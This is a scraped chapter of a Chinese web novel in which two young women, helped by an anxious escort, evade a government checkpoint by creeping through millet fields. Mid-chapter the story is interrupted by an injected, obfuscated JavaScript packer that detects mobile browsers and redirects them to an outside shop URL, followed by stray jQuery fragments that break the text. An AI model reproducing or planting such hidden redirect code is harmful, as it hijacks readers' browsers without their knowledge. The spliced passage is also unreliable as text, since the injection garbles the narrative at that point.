默认冷灰
24号文字
方正启体

13. 穿黍稷

作者:瑞奈三思本书字数:K更新时间:
    这逃亡的路越跑越是让人腹中窝火。


    宇文珈带着底礼阿果根本跑不快,倒不是锦荷没用,身前这娘子服了丹药感觉气是吊住了。


    但这三魂七魄的在马背上都要颠飞了,宇文珈可不敢担这个责任。


    她即便熟练了骑马的方式,还是不敢策马狂奔,看得在一旁保驾护航的刘仪好是着急。


    第一日,刘庭已经想了法子引开赵关杰派来的追兵。


    但抄近道来拦截的追兵避无可避。


    “三娘子,他们走官道过来,下了这个山就是交汇处,已经派人设了关。”


    宇文珈给锦荷喂了粮草,坐在山中的一处清泉旁休息,底里阿果趁着这会修整,正在抓紧睡觉。


    刘仪是去而复返,带回来的消息。


    “那眼下怎么办?你们郎君下一个接应点是不是必须从这里过去?”


    “是的。”刘仪性子稍急,这会宇文珈已经看出他急得不行了,只不过不敢随意表露,因此按压了下去,可见前方关卡设得严。


    宇文珈沉吟片刻也给不出什么好的对策,低头看着睡在地上的底礼阿果,不语。


    这下刘仪更急了,眼前这个小娘子是郎君找来的,刘仪只知道在营造之术上颇有才干,其余的一概不知,前面的窄路官兵挨个排查,如果她觉得费事,此时一走了之,那该怎么给郎君交代呀!


    刘仪只恨自己脑子不如刘庭转得快。


    宇文珈看着刘仪脑门上都沁出了汗,面上懊悔之意尽显,还带着些惧意悄悄瞅她,宇文珈不由得失笑。


    “怕什么?答应了你们郎君的事,我怎么会甩手不做了?我虽不是男子,但也是以蹈仁义来要求自己的。”


    “属下…并非此意,属下怎敢揣度娘子的意思。”他不好意思的挠头。


    “你在这守着,我去前面看看还有什么办法没有。”


    这话一说,刚刚放心下的刘仪又开始左手搓右手了,嘴里半天应不下来。


    看他这个冷汗津津的样子,宇文珈就想笑。


    “我要是跑了,你就提着头去复你家郎君的命吧。”


    宇文珈没好气地起身走了。


    走了几步见他也没有追上来,只得乖巧坐下守着底礼阿果。


    卢至柔上哪去找这么多训练没素的人?


    还想着他有一群杀伐果决的勇猛死士,哪里知道,这会儿留在这的是这么个提不起气又拉不下脸的人,犹犹豫豫像什么样子。


    要不是情急,倒也还有趣。


    山路稍微绕了个弯,就到了阳面,宇文珈算是明白了,为什么在这里设卡。


    这方圆几十里似乎都是农田,种了整整齐齐的黍稷,远远看去还未成熟,尖端的青绿色颗粒虚虚垂挂,有少许已经见黄了。


    中间有一道刚够马车通过的田坎,因为官府设了关,此时已经排起了队。


    这黍稷原本干燥日晒的北方种得多,今年大旱,不知道什么时候种在了这个地方,黄绿相间像春天的菜花一般,半山望去竟看不到边界,这么多粮食眼看着快要成熟,想必过了这月,雟州粮食不足的问题可以解决了。


    竟不知在赵刺史这里任官的长史、县令还有这等为国为民的人物?


    八个拿着长枪的官兵和十二名衙役,依此检查每一辆牛车、驴车和背篓,拿着画像对照每一个年轻女子。


    宇文珈这就觉得奇怪了,这赵关杰把底礼阿果买来,还没听说是施浪王的女儿吗,如今跑了居然还要追回来,这刺史是傻的吗?


    想到底礼阿果面黄肌瘦、形容憔悴的样子,不由得咂了咂嘴。


    种着黍稷的田坎好像有些高,站不开那么多人,那衙役时不时就要被牛车挤得站不住脚。


    宇文珈刚好看到他被挤下田坎的一幕,他的幞头在黍稷的高杆中一晃一晃的。


    宇文珈心中已有了成算。


    她立刻折返。


    刘仪伸长了脖子在等她,底礼阿果也醒了,两个人都有些慌乱,好似没了主心骨。


    刘仪一看她回来了,那叫一个喜上眉梢,赶紧站起来迎她,这小姑奶奶回来了,他也不用提头去见郎君了。


    “三娘子,眼下怎么办?”


    “你怀里的文书呢?”


    “在这呢。”他伸出手掏了出来。


    “锦荷和你这匹马,哪一匹更金贵?”


    “当然是锦荷,那可是八…”他自知失言,赶紧陪笑道:“别人赏的。”


    “谁赏的?你快告诉我,不然我不跟你说我想出来了什么办法。”


    他临时改口,宇文珈耳朵尖动了动,故意要问个明白。


    刘仪可不敢乱说,只得说自己忘了,主人家的事哪能过问之类的话。


    但宇文珈就不罢休,她明明听到了一个八字。


    刘仪这才知道,冯县令说的“此女性子虽不张扬,但时而顽劣时而狡诈,别被她佯装乖顺骗了去。”是什么意思。


    真是半点情面不给,像是看不出别人不愿细说的难处一般,刘仪又开始心里打鼓,后背冒汗了。


    好在底礼阿果轻轻咳了一声,给他解了围。


    宇文珈眉飞色舞坏笑了一声,朝底礼阿果走了过去。


    刘仪苦着脸说:“都什么时候了,三娘子别捉弄小的了,快些出发吧。”


    “那你听我说,我要和底礼阿果步行过去,你骑着锦荷回去找你们郎君,别搭上这匹良驹。”


    “那怎么能行,且不说下一个接应的地方离这里有多远,属下也不敢空手骑着锦荷回去复命,郎君走之前可是千叮咛万嘱咐要把三娘子和小公主送到施浪诏。而且郎君早就不在巂州了,我要去哪里找他!”他越说越急切。


    “你们郎君不在巂州了?他去哪了?”


    “这个…我也不知道…”刘仪又开始支支吾吾。


    “告诉我下一个接应点在哪,我找路认路的本事可是很厉害的,绝不会耽误。”宇文珈不想和他废话。


    刘仪又开始冒汗了。


    郎君算到了这里会设关,但没算到底礼阿果是个病秧子,锦荷根本跑不快,这才慢了一步。


    这地方两山夹谷,若要绕路,就得翻越连绵的山脉,那才是真的耽误功夫,所以直线穿行是唯一办法。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524590|203430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“我带着她从那些黍稷之间穿过去,弯着点腰,小心穿行不至于弄出太大动静,但这两匹马却万万不能跟着了。”


    刘仪一下子想到了,“三娘子,你从黍稷中走,我牵着马光明正大地过关不就完了,我在那头等你们,咱们正好接着赶路。”


    刘仪一拍脑门给了个自己的答案,生怕她不答应。


    时间不容耽搁,他知道宇文珈他没办法,但是搬动底礼阿果这个半瘫的小娘子他还是可以的,他隔着她身上的外袍把她抱起,一把放在了鞍上。


    “你要是过不来,我可不会等你,你之前说下一段是水路是吧?我已经迫不及待要坐船了。”


    一整个日夜的骑马,宇文珈已经全身酸痛、双腿发麻了。


    更不要提底礼阿果的状态了,她只不过是强忍着没说,昨天刘仪说下一段坐船的时候她也放心地吐出一口气。


    “属下必然过得来。”刘仪拍了拍胸脯。


    他们两个牵着马,快步从山路下去,离过关的地方足够远的时候,宇文珈把底礼阿果抱了下来,牵着她贴着马肚子转了个圈。


    马身挡着她们,官兵处根本看不清,刘仪催动两匹马往田坎靠近,在要完全转过来的时候,宇文珈跳下了田坎,顺手接住了底礼阿果。


    底礼阿果比宇文珈矮一些,这些黍稷完全挡住了她的身影。


    刘仪不动声色地缓步朝官兵们走去。


    宇文珈微微弯腰,左手拉着底礼阿果开始穿行。


    此时太阳西斜,很快就要迎来日落。


    微微的风让黍稷的晃动并不明显。


    天公作美。


    宇文珈不由得嗤笑,什么蠢货,都不知道巡逻一下周边田地,就杵在小道中间,守株待兔呢。


    其实这也怪不得这些士兵,上头下达的是追捕一个绝食未遂的小娘子,只当作逃犯处理,并未透露其他细节,都派了二十人在这候着了,谁也没把这个小娘子当回事。


    宇文珈回头看了一眼他们等着的小白兔,瘦得脱了相的脸颊衬得眼睛特别大,无辜又水灵,宇文珈于她就是一根救命的稻草,她手掌又细又小,关节戳人,但一直紧紧地攥住宇文珈。


    宇文珈冲她安抚地咧嘴,把她的手放在自己的衣角上,又害怕她没力气拉紧,用了一根绳子捆住她的左手手腕,另一头拴在自己的腰带上,解放出双手拨开黍稷的叶片。


    起初她还能跟上,两人没入黍稷丛深处后,宇文珈腰带的牵扯感越来越强,她知道底礼阿果走不动了。


    宇文珈体力不比那些男人。


    她停了下来,转头查看。


    底礼阿果早已气喘吁吁,骨瘦嶙峋的手放在唇边哈气,露出更纤细的手腕,汗水打湿了鬓角,她一声不吭地盯着宇文珈,倔强地想要跟上她的步伐。


    她的脖子不自然地朝宇文珈的方向伸着,似乎这样就能紧紧跟在宇文珈身后。


    这不是一个硬邦邦的牛脖子是什么?


    “上来。”宇文珈突然蹲了下来。


    底礼阿果惊讶张嘴,但也知道这不是她们两个谦让的时候,顺从地趴在宇文珈的背上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)